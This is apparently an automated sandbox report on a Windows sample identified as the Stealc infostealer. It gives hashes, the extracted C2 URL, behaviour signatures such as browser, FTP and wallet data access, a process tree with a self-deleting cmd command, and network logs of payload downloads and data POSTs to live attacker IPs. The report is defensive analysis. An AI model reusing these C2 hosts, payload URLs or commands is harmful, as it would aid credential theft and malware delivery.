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Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    09/05/2024, 12:35 UTC

General

  • Target

    47e8907f247d14f18b5989614a2ae39dc71058c37e8fb5dbd40d16ec2d482ad8.exe

  • Size

    382KB

  • MD5

    851277b51155270afc4fe45849b73b35

  • SHA1

    69a2e217c0e1ef4346ba705e790537abe2636090

  • SHA256

    47e8907f247d14f18b5989614a2ae39dc71058c37e8fb5dbd40d16ec2d482ad8

  • SHA512

    be46b46a310efd78c4ba494bbc28068f49a1ae8623be3628ecc5fd9e6f29c8a9fbd567b80a473ce8884f1751b2b90cd0ea18074ceaa675b91392f53e3b562c8e

  • SSDEEP

    6144:pjNz2z8NYkmBEv/WgU0wBmhekXHTXEdzE+eJKto:pjN8WYJOjrutKJKto

Malware Config

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 23 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\47e8907f247d14f18b5989614a2ae39dc71058c37e8fb5dbd40d16ec2d482ad8.exe
    "C:\Users\Admin\AppData\Local\Temp\47e8907f247d14f18b5989614a2ae39dc71058c37e8fb5dbd40d16ec2d482ad8.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1544
    • C:\Users\Admin\AppData\Local\Temp\u16w.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u16w.0.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4864
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\u16w.0.exe" & del "C:\ProgramData\*.dll"" & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5020
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 5
          4⤵
          • Delays execution with timeout.exe
          PID:4712
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4864 -s 2072
        3⤵
        • Program crash
        PID:2116
    • C:\Users\Admin\AppData\Local\Temp\u16w.1.exe
      "C:\Users\Admin\AppData\Local\Temp\u16w.1.exe"
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:772
      • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3500
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 1432
      2⤵
      • Program crash
      PID:1180
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1544 -ip 1544
    1⤵
      PID:4748
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4864 -ip 4864
      1⤵
        PID:1852

      Network

      • flag-de
        GET
        http://185.172.128.90/cpa/ping.php?substr=five&s=ab&sub=0
        47e8907f247d14f18b5989614a2ae39dc71058c37e8fb5dbd40d16ec2d482ad8.exe
        Remote address:
        185.172.128.90:80
        Request
        GET /cpa/ping.php?substr=five&s=ab&sub=0 HTTP/1.1
        Host: 185.172.128.90
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:35:59 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 1
        Content-Type: text/html; charset=UTF-8
      • flag-de
        GET
        http://185.172.128.228/ping.php?substr=five
        47e8907f247d14f18b5989614a2ae39dc71058c37e8fb5dbd40d16ec2d482ad8.exe
        Remote address:
        185.172.128.228:80
        Request
        GET /ping.php?substr=five HTTP/1.1
        Host: 185.172.128.228
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:00 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Content-Type: text/html; charset=UTF-8
      • flag-de
        GET
        http://185.172.128.59/syncUpd.exe
        47e8907f247d14f18b5989614a2ae39dc71058c37e8fb5dbd40d16ec2d482ad8.exe
        Remote address:
        185.172.128.59:80
        Request
        GET /syncUpd.exe HTTP/1.1
        Host: 185.172.128.59
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:00 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Thu, 09 May 2024 12:30:01 GMT
        ETag: "36800-6180493f46502"
        Accept-Ranges: bytes
        Content-Length: 223232
        Content-Type: application/x-msdos-program
      • flag-us
        DNS
        90.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        90.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        svc.iolo.com
        Remote address:
        8.8.8.8:53
        Request
        svc.iolo.com
        IN A
        Response
        svc.iolo.com
        IN A
        20.157.87.45
      • flag-us
        DNS
        49.56.244.143.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        49.56.244.143.in-addr.arpa
        IN PTR
        Response
        49.56.244.143.in-addr.arpa
        IN PTR
        143-244-56-49 bunnyinfranet
      • flag-us
        DNS
        148.155.9.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        148.155.9.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        self.events.data.microsoft.com
        Remote address:
        8.8.8.8:53
        Request
        self.events.data.microsoft.com
        IN A
        Response
        self.events.data.microsoft.com
        IN CNAME
        self-events-data.trafficmanager.net
        self-events-data.trafficmanager.net
        IN CNAME
        onedscolprdeus12.eastus.cloudapp.azure.com
        onedscolprdeus12.eastus.cloudapp.azure.com
        IN A
        20.42.73.27
      • flag-us
        DNS
        228.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        228.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        45.87.157.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        45.87.157.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        150.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        150.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        nexusrules.officeapps.live.com
        Remote address:
        8.8.8.8:53
        Request
        nexusrules.officeapps.live.com
        IN A
        Response
        nexusrules.officeapps.live.com
        IN CNAME
        prod.nexusrules.live.com.akadns.net
        prod.nexusrules.live.com.akadns.net
        IN A
        52.111.236.21
      • flag-us
        DNS
        27.73.42.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        27.73.42.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        59.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        59.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        8.8.8.8.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        8.8.8.8.in-addr.arpa
        IN PTR
        Response
        8.8.8.8.in-addr.arpa
        IN PTR
        dnsgoogle
      • flag-us
        DNS
        download.iolo.net
        Remote address:
        8.8.8.8:53
        Request
        download.iolo.net
        IN A
        Response
        download.iolo.net
        IN CNAME
        iolo0.b-cdn.net
        iolo0.b-cdn.net
        IN A
        143.244.56.49
      • flag-us
        DNS
        westus2-2.in.applicationinsights.azure.com
        Remote address:
        8.8.8.8:53
        Request
        westus2-2.in.applicationinsights.azure.com
        IN A
        Response
        westus2-2.in.applicationinsights.azure.com
        IN CNAME
        westus2-2.in.ai.monitor.azure.com
        westus2-2.in.ai.monitor.azure.com
        IN CNAME
        westus2-2.in.ai.privatelink.monitor.azure.com
        westus2-2.in.ai.privatelink.monitor.azure.com
        IN CNAME
        gig-ai-prod-westus2-0.trafficmanager.net
        gig-ai-prod-westus2-0.trafficmanager.net
        IN CNAME
        gig-ai-prod-wus2-01-app-v4-tag.westus2.cloudapp.azure.com
        gig-ai-prod-wus2-01-app-v4-tag.westus2.cloudapp.azure.com
        IN A
        20.9.155.148
      • flag-us
        DNS
        21.236.111.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        21.236.111.52.in-addr.arpa
        IN PTR
        Response
      • flag-de
        GET
        http://185.172.128.228/BroomSetup.exe
        47e8907f247d14f18b5989614a2ae39dc71058c37e8fb5dbd40d16ec2d482ad8.exe
        Remote address:
        185.172.128.228:80
        Request
        GET /BroomSetup.exe HTTP/1.1
        Host: 185.172.128.228
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:01 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Fri, 15 Mar 2024 11:59:56 GMT
        ETag: "4a4030-613b1bf118700"
        Accept-Ranges: bytes
        Content-Length: 4866096
        Content-Type: application/x-msdos-program
      • flag-us
        POST
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        u16w.1.exe
        Remote address:
        20.157.87.45:80
        Request
        POST /__svc/sbv/DownloadManager.ashx HTTP/1.0
        Connection: keep-alive
        Content-Length: 280
        Host: svc.iolo.com
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Encoding: identity
        User-Agent: Mozilla/3.0 (compatible; Indy Library)
        Response
        HTTP/1.1 200 OK
        cache-control: private
        content-length: 256
        content-type: text/html; charset=utf-8
        x-whom: Ioloweb7
        date: Thu, 09 May 2024 12:36:04 GMT
        set-cookie: SERVERID=svc7; path=/
        connection: close
      • flag-us
        POST
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        u16w.1.exe
        Remote address:
        20.157.87.45:80
        Request
        POST /__svc/sbv/DownloadManager.ashx HTTP/1.0
        Connection: keep-alive
        Content-Length: 280
        Host: svc.iolo.com
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Encoding: identity
        User-Agent: Mozilla/3.0 (compatible; Indy Library)
        Response
        HTTP/1.1 200 OK
        cache-control: private
        content-length: 192
        content-type: text/html; charset=utf-8
        x-whom: Ioloweb5
        date: Thu, 09 May 2024 12:36:15 GMT
        set-cookie: SERVERID=svc5; path=/
        connection: close
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----DAKFCGIJKJKFHIDHIIIE
        Host: 185.172.128.150
        Content-Length: 217
        Connection: Keep-Alive
        Cache-Control: no-cache
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHI
        Host: 185.172.128.150
        Content-Length: 196
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:50 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 1520
        Keep-Alive: timeout=5, max=100
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----KJKKJKEHDBGIDGDHCFHI
        Host: 185.172.128.150
        Content-Length: 195
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:50 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 5416
        Keep-Alive: timeout=5, max=99
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----BGDAAEHDHIIJKECBKEBA
        Host: 185.172.128.150
        Content-Length: 4635
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:50 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=98
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/sqlite3.dll
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/sqlite3.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:50 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT
        ETag: "10e436-5e7eeebed8d80"
        Accept-Ranges: bytes
        Content-Length: 1106998
        Content-Type: application/x-msdos-program
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----AKEGIIJDGHCAKFHJEHCF
        Host: 185.172.128.150
        Content-Length: 196
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:51 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 268
        Keep-Alive: timeout=5, max=96
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----FCFHJKJJJECGDHJJDHDA
        Host: 185.172.128.150
        Content-Length: 198
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:51 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 268
        Keep-Alive: timeout=5, max=95
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/freebl3.dll
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/freebl3.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:51 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "a7550-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 685392
        Content-Type: application/x-msdos-program
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/mozglue.dll
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/mozglue.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:51 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "94750-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 608080
        Content-Type: application/x-msdos-program
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/msvcp140.dll
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/msvcp140.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:51 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "6dde8-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 450024
        Content-Type: application/x-msdos-program
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/nss3.dll
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/nss3.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:51 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "1f3950-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 2046288
        Content-Type: application/x-msdos-program
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/softokn3.dll
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/softokn3.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:52 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "3ef50-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 257872
        Content-Type: application/x-msdos-program
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/vcruntime140.dll
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/vcruntime140.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:52 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "13bf0-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 80880
        Content-Type: application/x-msdos-program
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----DHIJEHJDHJKECBFHDHDH
        Host: 185.172.128.150
        Content-Length: 875
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:52 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=88
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----AAAAECGHCBGCBFHIIDHI
        Host: 185.172.128.150
        Content-Length: 195
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:52 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 2408
        Keep-Alive: timeout=5, max=87
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----HCBFIJJECFIEBGDGCFIJ
        Host: 185.172.128.150
        Content-Length: 193
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:52 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 2052
        Keep-Alive: timeout=5, max=86
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----EHDAFIJJECFHJJKFCAKJ
        Host: 185.172.128.150
        Content-Length: 15663
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:52 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=85
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----HCFBFBAEBKJKEBGCAEHC
        Host: 185.172.128.150
        Content-Length: 15659
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:53 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=84
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u16w.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----FHIECBAFBFHIJKFIJDAK
        Host: 185.172.128.150
        Content-Length: 188
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Thu, 09 May 2024 12:36:53 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=83
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • 185.172.128.90:80
        http://185.172.128.90/cpa/ping.php?substr=five&s=ab&sub=0
        http
        47e8907f247d14f18b5989614a2ae39dc71058c37e8fb5dbd40d16ec2d482ad8.exe
        389 B
        280 B
        4
        3

        HTTP Request

        GET http://185.172.128.90/cpa/ping.php?substr=five&s=ab&sub=0

        HTTP Response

        200
      • 185.172.128.228:80
        http://185.172.128.228/ping.php?substr=five
        http
        47e8907f247d14f18b5989614a2ae39dc71058c37e8fb5dbd40d16ec2d482ad8.exe
        375 B
        279 B
        4
        3

        HTTP Request

        GET http://185.172.128.228/ping.php?substr=five

        HTTP Response

        200
      • 185.172.128.59:80
        http://185.172.128.59/syncUpd.exe
        http
        47e8907f247d14f18b5989614a2ae39dc71058c37e8fb5dbd40d16ec2d482ad8.exe
        4.3kB
        230.5kB
        90
        174

        HTTP Request

        GET http://185.172.128.59/syncUpd.exe

        HTTP Response

        200
      • 185.172.128.228:80
        http://185.172.128.228/BroomSetup.exe
        http
        47e8907f247d14f18b5989614a2ae39dc71058c37e8fb5dbd40d16ec2d482ad8.exe
        96.8kB
        5.0MB
        2032
        3747

        HTTP Request

        GET http://185.172.128.228/BroomSetup.exe

        HTTP Response

        200
      • 20.157.87.45:80
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        http
        u16w.1.exe
        816 B
        721 B
        6
        6

        HTTP Request

        POST http://svc.iolo.com/__svc/sbv/DownloadManager.ashx

        HTTP Response

        200
      • 143.244.56.49:443
        download.iolo.net
        tls
        2.5MB
        62.3MB
        40492
        44817
      • 20.157.87.45:80
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        http
        u16w.1.exe
        816 B
        657 B
        6
        6

        HTTP Request

        POST http://svc.iolo.com/__svc/sbv/DownloadManager.ashx

        HTTP Response

        200
      • 185.172.128.150:80
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        http
        u16w.0.exe
        603 B
        92 B
        4
        2

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php
      • 20.9.155.148:443
        westus2-2.in.applicationinsights.azure.com
        tls
        SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        2.4kB
        5.5kB
        13
        11
      • 185.172.128.150:80
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        http
        u16w.0.exe
        236.8kB
        5.4MB
        4108
        4068

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/sqlite3.dll

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/freebl3.dll

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/mozglue.dll

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/msvcp140.dll

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/nss3.dll

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/softokn3.dll

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/vcruntime140.dll

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200
      • 8.8.8.8:53
        90.128.172.185.in-addr.arpa
        dns
        350 B
        612 B
        5
        5

        DNS Request

        90.128.172.185.in-addr.arpa

        DNS Request

        svc.iolo.com

        DNS Response

        20.157.87.45

        DNS Request

        49.56.244.143.in-addr.arpa

        DNS Request

        148.155.9.20.in-addr.arpa

        DNS Request

        self.events.data.microsoft.com

        DNS Response

        20.42.73.27

      • 8.8.8.8:53
        228.128.172.185.in-addr.arpa
        dns
        365 B
        602 B
        5
        5

        DNS Request

        228.128.172.185.in-addr.arpa

        DNS Request

        45.87.157.20.in-addr.arpa

        DNS Request

        150.128.172.185.in-addr.arpa

        DNS Request

        nexusrules.officeapps.live.com

        DNS Response

        52.111.236.21

        DNS Request

        27.73.42.20.in-addr.arpa

      • 8.8.8.8:53
        59.128.172.185.in-addr.arpa
        dns
        362 B
        726 B
        5
        5

        DNS Request

        59.128.172.185.in-addr.arpa

        DNS Request

        8.8.8.8.in-addr.arpa

        DNS Request

        download.iolo.net

        DNS Response

        143.244.56.49

        DNS Request

        westus2-2.in.applicationinsights.azure.com

        DNS Response

        20.9.155.148

        DNS Request

        21.236.111.52.in-addr.arpa

      MITRE ATT&CK Enterprise v15

      Replay Monitor

